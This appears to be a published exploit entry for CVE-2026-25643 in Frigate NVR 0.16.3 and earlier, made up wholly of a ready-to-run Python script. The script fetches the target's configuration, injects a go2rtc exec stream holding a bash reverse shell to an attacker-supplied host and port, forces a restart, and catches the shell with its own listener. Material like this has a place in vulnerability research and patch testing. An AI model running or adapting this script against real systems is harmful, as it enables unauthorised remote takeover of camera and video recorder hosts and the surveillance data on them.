📄 Frigate NVR 0.16.3 Remote Code Execution

# Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution 
    # Date: 2026-02-05
    # Exploit Author: jduardo2704
    # Vendor Homepage: https://frigate.video/
    # Software Link: https://github.com/blakeblackshear/frigate
    # Version: <= 0.16.3
    # Tested on: Linux / Docker
    # CVE: CVE-2026-25643
    # Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x
    
    import requests
    import argparse
    import sys
    import json
    import urllib3
    import yaml
    import time
    import socket
    import threading
    import select
    import re
    
    # Silence SSL warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Colors
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'
    
    # Event to synchronize the listener with the exploit thread
    exploit_ready = threading.Event()
    
    def print_status(msg, color=BLUE, symbol="[*]"):
        print(f"{color}{symbol} {msg}{RESET}")
    
    def login_frigate(session, url, username, password):
        try:
            print_status(f"Authenticating as {username}...", BLUE)
            res = session.post(f"{url}/api/login", json={"user": username, "password": password}, verify=False, timeout=10)
            return res.status_code == 200
        except:
            return False
    
    def get_config(session, url):
        try:
            res = session.get(f"{url}/api/config/raw", timeout=10)
            content = res.text.strip()
            if content.startswith('"'):
                try:
                    config_raw = json.loads(content)
                except:
                    config_raw = content
            else:
                config_raw = content
                
            return yaml.safe_load(config_raw)
        except:
            return None
    
    def send_payload(session, url, data):
        final_yaml = yaml.dump(data)
        try:
            session.post(
                f"{url}/api/config/save?save_option=restart", 
                data=final_yaml, 
                headers={"Content-Type": "text/plain"}, 
                timeout=5 
            )
        except:
            pass 
    
    def inject_and_exploit(url, username, password, lhost, lport):
        """Function to run in background thread"""
        session = requests.Session()
        session.verify = False
    
        # 1. AUTHENTICATION LOGIC
        if username and password:
            if not login_frigate(session, url, username, password):
                print_status("Login failed with provided credentials.", RED, "[-]")
                sys.exit(1) 
            print_status("Logged in successfully.", BLUE)
        else:
            print_status("No credentials provided. Trying unauthenticated access...", YELLOW)
    
        # 2. CONFIG RETRIEVAL & VALIDATION
        print_status("Fetching configuration...", BLUE)
        config = get_config(session, url)
        
        if not config or not isinstance(config, dict):
            print_status("Failed to retrieve a valid configuration dictionary.", RED, "[-]")
            print_status("Target might be authenticated or API is restricted.", RED, "[-]")
            sys.exit(1)
    
        # 3. PAYLOAD PREPARATION
        try:
            payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
            
            # Inject go2rtc
            if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {}
            if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {}
            config['go2rtc']['streams']['cve_poc'] = [f"exec:{payload}"]
    
            # Inject camera trigger
            if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {}
            config['cameras']['cve_trigger'] = {
                'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]},
                'detect': {'enabled': False},
                'audio': {'enabled': False}, 
                'enabled': True
            }
            
            print_status("Payload injected into config structure.", GREEN, "[+]")
    
            # 4. SIGNAL LISTENER TO START
            exploit_ready.set()
            time.sleep(5) 
            print_status("Sending malicious config & triggering restart...", YELLOW)
            send_payload(session, url, config)
    
        except Exception as e:
            print_status(f"Error during payload injection: {e}", RED, "[-]")
            sys.exit(1)
    
    def shell_handler(lport):
        """Handles the incoming reverse shell connection"""
        
        print_status("Waiting for validation...", BLUE)
        if not exploit_ready.wait(timeout=20): 
            print_status("Timeout waiting for exploit thread validation.", RED, "[-]")
            return
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            s.bind(('0.0.0.0', int(lport)))
            s.listen(1)
            print_status(f"Validation OK. Listening on 0.0.0.0:{lport}...", GREEN, "[+]")
            s.settimeout(60) 
            
            try:
                conn, addr = s.accept()
                print_status(f"Connection received from {addr[0]}!", GREEN, "[+]")
                print(f"{YELLOW}--- SHELL ESTABLISHED ---\n{RESET}")
                
                s.settimeout(None) 
                conn.settimeout(None)
    
                while True:
                    r, _, _ = select.select([sys.stdin, conn], [], [])
                    
                    if conn in r:
                        data = conn.recv(4096)
                        if not data: break
                        
                        # CLEAN OUTPUT LOGIC
                        output = data.decode(errors='ignore')
                        
                        # Remove annoying bash TTY errors using Regex
                        # Matches "bash: cannot set terminal process group (PID): Inappropriate ioctl..."
                        output = re.sub(r"bash: cannot set terminal process group \(\d+\): Inappropriate ioctl for device\r?\n?", "", output)
                        # Matches "bash: no job control in this shell"
                        output = output.replace("bash: no job control in this shell\r\n", "")
                        output = output.replace("bash: no job control in this shell\n", "")
                        
                        sys.stdout.write(output)
                        sys.stdout.flush()
                        
                    if sys.stdin in r:
                        cmd = sys.stdin.readline()
                        conn.send(cmd.encode())
    
            except socket.timeout:
                print_status("Exploit sent but no connection received (Timeout > 60s).", RED, "[-]")
    
        except KeyboardInterrupt:
            print_status("\nClosing connection.", RED)
        except Exception as e:
            print_status(f"Listener error: {e}", RED)
        finally:
            s.close()
    
    def main():
        parser = argparse.ArgumentParser(description="Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643")
        parser.add_argument('-u', '--url', required=True, help="Target URL")
        parser.add_argument('-U', '--username', required=False, help="Username (optional)")
        parser.add_argument('-P', '--password', required=False, help="Password (optional)")
        parser.add_argument('-lh', '--lhost', required=True, help="Your IP (LHOST)")
        parser.add_argument('-lp', '--lport', required=True, help="Your Port (LPORT)")
        args = parser.parse_args()
    
        exploit_thread = threading.Thread(
            target=inject_and_exploit, 
            args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport)
        )
        exploit_thread.daemon = True
        exploit_thread.start()
    
        shell_handler(args.lport)
    
    if __name__ == "__main__":
        main()